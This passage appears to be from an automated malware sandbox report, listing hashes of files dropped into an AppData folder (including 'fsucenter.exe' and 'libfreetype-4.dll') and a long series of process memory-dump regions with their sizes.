                          • \Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
                            MD5

                            cf8114289d40ec83b53463b1ac8930c9

                            SHA1

                            00036a509bc31c4264a0414d3386f420854ca047

                            SHA256

                            39b7e686bb324ecf81adc0b6a165830cd4d3f7d8a2bbba310930fa023f95bb12

                            SHA512

                            e19af0dcf1aa8253523a1eba1c69f5f26cc63730ef630c60c4ce46d368b037753110426c7e3db333041046dbb04ccffec2bfd48529e1cdaab6547e331df02fc9

                          • \Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
                            MD5

                            cf8114289d40ec83b53463b1ac8930c9

                            SHA1

                            00036a509bc31c4264a0414d3386f420854ca047

                            SHA256

                            39b7e686bb324ecf81adc0b6a165830cd4d3f7d8a2bbba310930fa023f95bb12

                            SHA512

                            e19af0dcf1aa8253523a1eba1c69f5f26cc63730ef630c60c4ce46d368b037753110426c7e3db333041046dbb04ccffec2bfd48529e1cdaab6547e331df02fc9

                          • \Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\libfreetype-4.dll
                            MD5

                            96f1c8a9c83fbf6411f35d3de8fdc77c

                            SHA1

                            41b590133df449c8e0ce247aab7def7cfc39399d

                            SHA256

                            ae8db0fc9690c6047bd1d1aeb7cd254060c0623700bb184ce3f1b3d1daffc39e

                            SHA512

                            fa214f15b7c77eca2760aa2489debc5d7244f5535a7b725b49ae7f9ba6f5341a04ee2ccabe15f1e70a542582ed64758d1b4e2d61faaacf2a56e3ec750df76baa

                          • memory/360-157-0x0000000004850000-0x0000000004851000-memory.dmp
                            Filesize

                            4KB

                          • memory/360-145-0x0000000000000000-mapping.dmp
                          • memory/360-149-0x0000000000AB0000-0x0000000000AB1000-memory.dmp
                            Filesize

                            4KB

                          • memory/364-77-0x0000000000000000-mapping.dmp
                          • memory/364-90-0x0000000000240000-0x0000000000241000-memory.dmp
                            Filesize

                            4KB

                          • memory/540-86-0x0000000000000000-mapping.dmp
                          • memory/540-91-0x0000000000400000-0x00000000004D8000-memory.dmp
                            Filesize

                            864KB

                          • memory/736-143-0x0000000000400000-0x0000000002CB1000-memory.dmp
                            Filesize

                            40.7MB

                          • memory/736-142-0x0000000004450000-0x00000000044E3000-memory.dmp
                            Filesize

                            588KB

                          • memory/736-131-0x0000000000000000-mapping.dmp
                          • memory/816-156-0x0000000000400000-0x0000000000946000-memory.dmp
                            Filesize

                            5.3MB

                          • memory/816-155-0x00000000002E0000-0x0000000000371000-memory.dmp
                            Filesize

                            580KB

                          • memory/816-134-0x0000000000000000-mapping.dmp
                          • memory/1048-64-0x0000000000000000-mapping.dmp
                          • memory/1092-126-0x0000000000220000-0x000000000025B000-memory.dmp
                            Filesize

                            236KB

                          • memory/1092-127-0x0000000000400000-0x0000000000919000-memory.dmp
                            Filesize

                            5.1MB

                          • memory/1092-102-0x0000000000000000-mapping.dmp
                          • memory/1132-124-0x0000000000000000-mapping.dmp
                          • memory/1132-141-0x0000000000400000-0x0000000000919000-memory.dmp
                            Filesize

                            5.1MB

                          • memory/1176-204-0x00000000057C0000-0x00000000057C1000-memory.dmp
                            Filesize

                            4KB

                          • memory/1176-190-0x00000000010E0000-0x00000000010E1000-memory.dmp
                            Filesize

                            4KB

                          • memory/1176-198-0x00000000053C0000-0x00000000053C1000-memory.dmp
                            Filesize

                            4KB

                          • memory/1176-209-0x0000000005800000-0x0000000005801000-memory.dmp
                            Filesize

                            4KB

                          • memory/1176-175-0x0000000001322000-0x0000000001323000-memory.dmp
                            Filesize

                            4KB

                          • memory/1176-166-0x0000000000000000-mapping.dmp
                          • memory/1176-213-0x0000000006220000-0x0000000006221000-memory.dmp
                            Filesize

                            4KB

                          • memory/1176-214-0x000000007EF30000-0x000000007EF31000-memory.dmp
                            Filesize

                            4KB

                          • memory/1176-172-0x0000000000EB0000-0x0000000000EB1000-memory.dmp
                            Filesize

                            4KB

                          • memory/1176-173-0x0000000001320000-0x0000000001321000-memory.dmp
                            Filesize

                            4KB

                          • memory/1176-223-0x0000000006340000-0x0000000006341000-memory.dmp
                            Filesize

                            4KB

                          • memory/1176-176-0x0000000004A00000-0x0000000004A01000-memory.dmp
                            Filesize

                            4KB

                          • memory/1300-82-0x0000000000402E1A-mapping.dmp
                          • memory/1356-128-0x0000000004A60000-0x0000000004A76000-memory.dmp
                            Filesize

                            88KB

                          • memory/1356-63-0x0000000003C20000-0x0000000003C36000-memory.dmp
                            Filesize

                            88KB

                          • memory/1536-144-0x0000000004CD0000-0x0000000004CD1000-memory.dmp
                            Filesize

                            4KB

                          • memory/1536-139-0x0000000000B00000-0x0000000000B01000-memory.dmp
                            Filesize

                            4KB

                          • memory/1536-136-0x0000000000000000-mapping.dmp
                          • memory/1556-174-0x00000000000C0000-0x00000000000CB000-memory.dmp
                            Filesize

                            44KB

                          • memory/1556-171-0x00000000000D0000-0x00000000000D7000-memory.dmp
                            Filesize

                            28KB

                          • memory/1556-170-0x000000006E111000-0x000000006E113000-memory.dmp
                            Filesize

                            8KB

                          • memory/1556-167-0x0000000000000000-mapping.dmp
                          • memory/1684-163-0x00000000000F0000-0x00000000000F7000-memory.dmp
                            Filesize

                            28KB

                          • memory/1684-164-0x00000000000E0000-0x00000000000EC000-memory.dmp
                            Filesize

                            48KB

                          • memory/1684-160-0x0000000000000000-mapping.dmp
                          • memory/1720-158-0x0000000000230000-0x00000000002A4000-memory.dmp
                            Filesize

                            464KB

                          • memory/1720-151-0x0000000000000000-mapping.dmp
                          • memory/1720-154-0x000000006D651000-0x000000006D653000-memory.dmp
                            Filesize

                            8KB

                          • memory/1720-159-0x0000000000110000-0x000000000017B000-memory.dmp
                            Filesize

                            428KB

                          • memory/1728-62-0x0000000000020000-0x000000000002A000-memory.dmp
                            Filesize

                            40KB

                          • memory/1752-60-0x0000000000402E1A-mapping.dmp
                          • memory/1752-59-0x0000000000400000-0x0000000000409000-memory.dmp
                            Filesize

                            36KB

                          • memory/1752-61-0x00000000753E1000-0x00000000753E3000-memory.dmp
                            Filesize

                            8KB

                          • memory/1764-109-0x0000000000000000-mapping.dmp
                          • memory/1784-80-0x0000000000400000-0x00000000004D8000-memory.dmp
                            Filesize

                            864KB

                          • memory/1784-71-0x0000000000000000-mapping.dmp
                          • memory/1828-69-0x0000000000000000-mapping.dmp
                          • memory/1832-104-0x0000000000D80000-0x0000000000D81000-memory.dmp
                            Filesize

                            4KB

                          • memory/1832-96-0x0000000000000000-mapping.dmp
                          • memory/1832-114-0x0000000004C70000-0x0000000004C71000-memory.dmp
                            Filesize

                            4KB

                          • memory/1940-120-0x0000000000B30000-0x0000000000B31000-memory.dmp
                            Filesize

                            4KB

                          • memory/1940-115-0x0000000000000000-mapping.dmp
                          • memory/1940-129-0x0000000004A10000-0x0000000004A11000-memory.dmp
                            Filesize

                            4KB

                          • memory/2040-100-0x0000000074861000-0x0000000074863000-memory.dmp
                            Filesize

                            8KB

                          • memory/2040-98-0x0000000000240000-0x0000000000241000-memory.dmp
                            Filesize

                            4KB

                          • memory/2040-93-0x0000000000000000-mapping.dmp
                          • memory/2164-189-0x0000000000000000-mapping.dmp
                          • memory/2164-192-0x0000000000060000-0x000000000006F000-memory.dmp
                            Filesize

                            60KB

                          • memory/2164-191-0x0000000000070000-0x0000000000079000-memory.dmp
                            Filesize

                            36KB

                          • memory/2196-196-0x00000000000D0000-0x00000000000D5000-memory.dmp
                            Filesize

                            20KB

                          • memory/2196-193-0x0000000000000000-mapping.dmp
                          • memory/2196-197-0x00000000000C0000-0x00000000000C9000-memory.dmp
                            Filesize

                            36KB

                          • memory/2256-199-0x0000000000000000-mapping.dmp
                          • memory/2256-200-0x00000000000F0000-0x00000000000F6000-memory.dmp
                            Filesize

                            24KB

                          • memory/2256-201-0x0000000000060000-0x000000000006C000-memory.dmp
                            Filesize

                            48KB

                          • memory/2388-210-0x0000000000000000-mapping.dmp
                          • memory/2388-216-0x0000000000080000-0x0000000000089000-memory.dmp
                            Filesize

                            36KB

                          • memory/2388-215-0x0000000000090000-0x0000000000094000-memory.dmp
                            Filesize

                            16KB

                          • memory/2452-224-0x0000000000000000-mapping.dmp
                          • memory/2484-225-0x0000000000000000-mapping.dmp
                          • memory/2504-237-0x00000000012D0000-0x00000000012D1000-memory.dmp
                            Filesize

                            4KB

                          • memory/2504-253-0x0000000006350000-0x00000000064AB000-memory.dmp
                            Filesize

                            1.4MB

                          • memory/2504-239-0x00000000048D0000-0x00000000048D1000-memory.dmp
                            Filesize

                            4KB

                          • memory/2504-232-0x0000000004950000-0x0000000004951000-memory.dmp
                            Filesize

                            4KB

                          • memory/2504-238-0x0000000001242000-0x0000000001243000-memory.dmp
                            Filesize

                            4KB

                          • memory/2504-235-0x0000000001240000-0x0000000001241000-memory.dmp
                            Filesize

                            4KB

                          • memory/2504-227-0x0000000000000000-mapping.dmp
                          • memory/2504-231-0x0000000000C90000-0x0000000000C91000-memory.dmp
                            Filesize

                            4KB

                          • memory/2504-252-0x00000000060D0000-0x00000000060D1000-memory.dmp
                            Filesize

                            4KB

                          • memory/2532-229-0x0000000000000000-mapping.dmp
                          • memory/2532-233-0x0000000000070000-0x0000000000075000-memory.dmp
                            Filesize

                            20KB

                          • memory/2532-234-0x0000000000060000-0x0000000000069000-memory.dmp
                            Filesize

                            36KB

                          • memory/2616-251-0x00000000000C0000-0x00000000000C9000-memory.dmp
                            Filesize

                            36KB

                          • memory/2616-243-0x00000000000D0000-0x00000000000D5000-memory.dmp
                            Filesize

                            20KB

                          • memory/2616-240-0x0000000000000000-mapping.dmp
                          • memory/2692-260-0x0000000000F42000-0x0000000000F43000-memory.dmp
                            Filesize

                            4KB

                          • memory/2692-259-0x0000000000F40000-0x0000000000F41000-memory.dmp
                            Filesize

                            4KB

                          • memory/2692-254-0x0000000000000000-mapping.dmp
                          • memory/2864-282-0x0000000000000000-mapping.dmp
                          • memory/2896-285-0x000000000044003F-mapping.dmp
                          • memory/2896-287-0x0000000000400000-0x0000000000495000-memory.dmp
                            Filesize

                            596KB

                          • memory/3000-288-0x0000000000000000-mapping.dmp
                          • memory/3028-289-0x0000000000000000-mapping.dmp